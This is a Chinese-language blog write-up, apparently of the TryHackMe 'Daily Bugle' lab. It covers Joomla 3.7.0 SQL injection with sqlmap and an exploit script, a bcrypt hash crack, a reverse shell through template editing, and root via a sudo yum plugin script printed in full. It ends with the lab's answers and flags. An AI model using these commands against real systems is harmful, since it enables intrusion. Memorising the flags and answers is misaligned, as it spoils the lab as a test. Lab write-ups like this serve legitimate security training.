THM-Daily Bugle(号角日报)

首先查看网络连通性

侦查

使用Nmap对靶机进行端口扫描

开放22\SSH、80\Web、3306\Mysql服务,根据端口开放情况可以看出这应该是一台Web服务

访问80端口进行一些初步的信息收集,通过查看主页源代码得到该服务的CMSJoomla

并没有的到具体的版本号,尝试使用niktowhatweb获取更多的中间件信息

通过robots.txt文件的到了administrator的目录

访问/administrator目录

是一个很熟悉的页面,好像在哪里见过,使用弱密码admin:admin或者admin:12356进行登录

并没有登录成功,再次使用Nmap进行--script=vuln漏洞扫描,看一看能不能识别到一些漏洞

这里扫描到目标存在Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability,SQL注入漏洞

使用searchsploit找到该漏洞的利用脚本

查看漏洞利用文件中存在SQL注入的页面,和漏洞利用代码,使用的sqlmap

执行该命令

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

经过漫长的等待sqlmap跑出了存在的数据库

数据库名
information_schema
joomla
mysql
performance_schema
test

这里很明显我们需要joomla数据库的内容,使用--dump直接全部导出

sqlmap -u "http://10.10.25.116/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --dump  -p list[fullordering]

也是非常的慢,进过也漫长的等待,终于跑出用户名和密码

这里真的非常的慢,不推荐,推荐使用下方的脚本进行利用

sqlmap爆破的途中,我搜索了一下Joomla! 3.7.0有没有其他的漏洞利用脚本

确实有,使用git clone https://github.com/stefanlucas/Exploit-Joomla.git下载

该脚本也是非常的简单,提供一个靶机服务器的地址就可以了,我们直接运行

python joomblah.py http://10.10.25.116

成功得到用户名和密码,这比sqlmap快多了

这里我们需要将得到的数据库密码进行破解,首先使用hash-identifier识别密码类型

并没有识别出来,使用网站https://hashes.com/en/tools/hash_identifier识别密码类型

得到密码应该是bcrypt类型,并且密码是spiderman123,这个网站也是强呀

流程该走还是得走,使用john破解该密码

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt b

获取初始访问权限

使用获得的用户名和密码登录刚刚获得的网站后台/administrator

通过模板这里我们得知,默认使用的是名为protosta模板

我们查看该模板的内容

可以看到,我们可以修改这些模板的内容,这里我们将index.php的内容修改为php-reverse-shell.php的内容,进行反弹shell

注意返回的IP和端口,保存后再本机开启监听


然后访问index.php,我们会获得一个shell

权限提升

我们初始的权限时apache,使用一些常见的手法发现可以提权的地方

sudo -l

没有权限

SUID可执行文件

没有可用的命令

Crontab计划任务

没有特殊的计划任务

拥有管理员权限的二进制文件

没有可运行的二进制文件

history查看历史命令

是我们刚刚执行的命令

uname -a

发现3.10.0的内核版本

查看目标是否安装gcc

并没有安装gcc命令

查看/etc/passwd文件

其中存在一个jjameson的用户可以登录到系统,但是我们并没有密码,尝试寻找一下该用户的密码

/tmp目录

没有内容,我们知道本机是一个Web服务,那么常见的信息应该都在/var/www/html目录中,因为Web后端连接数据库需要数据库的用户名和密码,一定在一个文件中存储,我们尝试获取寻找获取该配置文件

其中有一个名称为configuration.php的文件,很可疑,config(配置文件),通常放着一些用户名密码等信息

查看该文件

我们得到连接该数据库的用户名为root,其中有两个密码nv5uz9r3ZEDzVjNuUAMBRWzHO3oFPmVC

可能这台机器的mysql数据库root用户密码和系统root密码是相同的,尝试使用改密码登录

两个密码都试过后,也没有登录成功,那么我们尝试登录到jjameson用户

使用密码nv5uz9r3ZEDzVjNu登录成功

我们的目标是获得root权限,需要进步提权

sudo -l

我们可以使用sudo权限执行yum命令

寻找yum提权的命令,在https://gtfobins.github.io/gtfobins/yum/找到提权对应脚本

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y

运行该脚本

成功获得root权限

该靶机的答案

1. Access the web server, who robbed the bank?

spiderman

2. What is the Joomla version?

3.7.0

3. What is Jonah's cracked password?

spiderman123

4. What is the user flag?

27a260fe3cba712cfdedb1c86d80442e

5. What is the root flag?

eec3d53292b1821868266858d7fa6f79

posted @ 2023-03-31 12:12  Junglezt  阅读(163)  评论(5编辑  收藏  举报